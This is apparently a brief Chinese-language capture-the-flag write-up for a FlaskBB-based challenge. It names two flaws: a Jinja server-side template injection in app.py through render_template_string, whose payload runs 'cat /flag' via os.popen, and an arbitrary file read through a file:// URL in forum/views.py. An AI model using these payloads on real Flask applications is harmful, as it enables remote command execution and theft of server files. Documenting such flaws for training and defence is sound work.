e_flaskbb

by Hence Zhang@Lancet

python ssti 模板注入漏洞

漏洞文件位置：

flaskbb/app.py

漏洞说明：使用render_template_string 函数，存在漏洞

payload：

> /%7B%7B().**class**.**bases**.0.**subclasses**().59.**init**.**globals**.linecache.os.popen("cat%20/flag").read()%7D%7D

任意文件读取漏洞

漏洞文件位置：

forum/views.py

payload：

> /link?url=file:///flag